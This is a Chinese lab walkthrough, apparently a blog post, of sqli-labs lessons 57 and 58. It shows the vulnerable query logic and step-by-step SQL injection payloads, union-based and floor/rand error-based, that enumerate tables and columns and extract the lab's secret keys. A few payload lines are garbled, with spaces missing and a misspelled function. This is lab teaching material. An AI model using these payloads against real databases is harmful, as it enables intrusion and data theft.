WEB常见漏洞之SQL注入(靶场篇—4)2

简介: WEB常见漏洞之SQL注入(靶场篇—4)

Lesson-57

该题为双引号get型注入,利用方式包括联合查询、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  $id='"'.$id.'"';

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

iftrue:

  输出查询信息;

else:

  输出报错;

注意:该题与Lesson54的利用方式相同,只不过拼接方式由单引号变成了双引号,错误次数由10次变为14次

使用联合查询判断注入点

id=1"--+

判断字段数

id=1" order by 3--+ //返回正确

id=1"orderby4--+ //返回异常

由此可判断字段数为4,通过 union select 查看回显位置

id=-1" union select 1,2,3--+

查询表名

id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查询列名

id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='mup8sgqrlo'--+

查询关键信息

id=-1" union select 1,2,group_concat(secret_EGMD) from mup8sgqrlo--+

成功拿到 key 值:UFLHEB2MKHMJWM97fXAajgWB

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

Lesson-58

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

iftrue:

     $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");

$pass = array_reverse($unames);

  输出查询信息;

else:

  print_r(mysql_error());

注意:该题只输出$unames$pass数组,而$pass数组是$uname数组的逆序,因此使用联合查询无法返回我们需要的数据信息。但可以使用报错注入获取数据

使用报错注入判断注入点

id=1'--+

查询基础信息

id=1' and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+

id=1'and(selectcount(*)from information_schema.tablesgroupby concat((select version()),0x7e,floor(rand(0)*2)))--+

id=1' and (select count(*) from information_schema.tables group by concat((select databse()),0x7e,floor(rand(0)*2)))--+

查询表名

id=1' and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+

查询列名

id=1' and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='me487dxhor' limit 2,1),0x7e,floor(rand(0)*2)))--+

查询关键信息

id=1' and (select count(*) from information_schema.tables group by concat((select secret_NMS4 from me487dxhor limit 0,1),0x7e,floor(rand(0)*2)))--+

成功拿到 key 值:mx7XGPasBPeRQKfCQJ7LEwt1

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

目录
相关文章
|
存储 测试技术 Linux
添加E1000网卡进行测试,只有VMXNET3性能的四分之一
添加E1000网卡进行测试,只有VMXNET3性能的四分之一
|
Web App开发 监控 Kubernetes
容器技术入门3:chaos混沌工程
参加冬季实战营第四期:零基础容器技术实战。参加学习一下,教程很好,做笔记记录一下。本文记录冬季实战营第四期:零基础容器技术实战动手实战-Chaos带你快速上手混沌工程。
1793 0
容器技术入门3:chaos混沌工程
|
12月前
|
存储 NoSQL 关系型数据库
【赵渝强老师】什么是NoSQL数据库?
随着大数据技术的兴起,NoSQL数据库(Not Only SQL)得到广泛应用。它不局限于二维表结构,允许数据冗余。常见的NoSQL数据库包括Redis、MongoDB和HBase。Redis是基于内存的高性能数据库,采用单线程模型和多路复用I/O,支持高效的数据结构。MongoDB使用BSON格式存储文档,查询语言强大,类似关系型数据库。HBase基于HDFS,适合数据分析,采用列式存储,支持灵活的列族设计。视频讲解及更多内容见下文。
594 79
|
算法 安全 Java
微服务(四)-config配置中心的配置加解密
微服务(四)-config配置中心的配置加解密
|
存储 编译器 数据处理
C 语言结构体与位域:高效数据组织与内存优化
C语言中的结构体与位域是实现高效数据组织和内存优化的重要工具。结构体允许将不同类型的数据组合成一个整体,而位域则进一步允许对结构体成员的位进行精细控制,以节省内存空间。两者结合使用,可在嵌入式系统等资源受限环境中发挥巨大作用。
439 12
|
存储 人工智能 大数据
TDengine 用户大会精彩回顾:AI+数据驱动汽车、能源、烟草、电力应用的未来
TDengine用户大会在京成功举办,聚焦“时序数据助你决胜AI时代”。涛思数据创始人陶建辉携手中科院院士王怀民等业界领袖,探讨时序数据最新进展及AI技术应用。会上发布了《时序大数据平台-TDengine核心原理与实战》一书,为企业与开发者提供宝贵指南。自2019年开源以来,TDengine已拥有57万用户实例,Star数达23.1k。王怀民赞赏TDengine全面创新,立足全球市场。大会还涉及数据库智能化运维、能源行业数字化转型等议题,并设有三大专场,深入讨论海量数据应用、智能制造新能源及新型电力系统,展示了TDengine在各领域的应用潜力与技术革新。
374 0
TDengine 用户大会精彩回顾:AI+数据驱动汽车、能源、烟草、电力应用的未来
|
资源调度 分布式计算 Hadoop
揭秘Hadoop Yarn三大调度器:如何玩转资源分配,实现高效集群管理?
【8月更文挑战第24天】Hadoop YARN(Another Resource Negotiator)是一款强大的集群资源管理工具,主要负责高效分配及管理Hadoop集群中的计算资源。本文深入剖析了YARN的三种调度器:容量调度器(Capacity Scheduler)、公平调度器(Fair Scheduler)以及FIFO调度器,并通过具体的配置示例和Java代码展示了它们的工作机制。
391 2
|
Java Maven
maven开源仓库
maven开源仓库
470 6
|
Java API 开发者
Spring揭秘:BeanDefinitionBuilder接口应用场景及实现原理!
BeanDefinitionBuilder类为Spring框架中的Bean定义提供了灵活且强大构建方式,通过API,开发者能够轻松创建和配置Bean,无需依赖繁琐的XML配置或注解。
522 2
Spring揭秘:BeanDefinitionBuilder接口应用场景及实现原理!
|
JavaScript 前端开发
JavaScript回车事件
JavaScript回车事件
283 0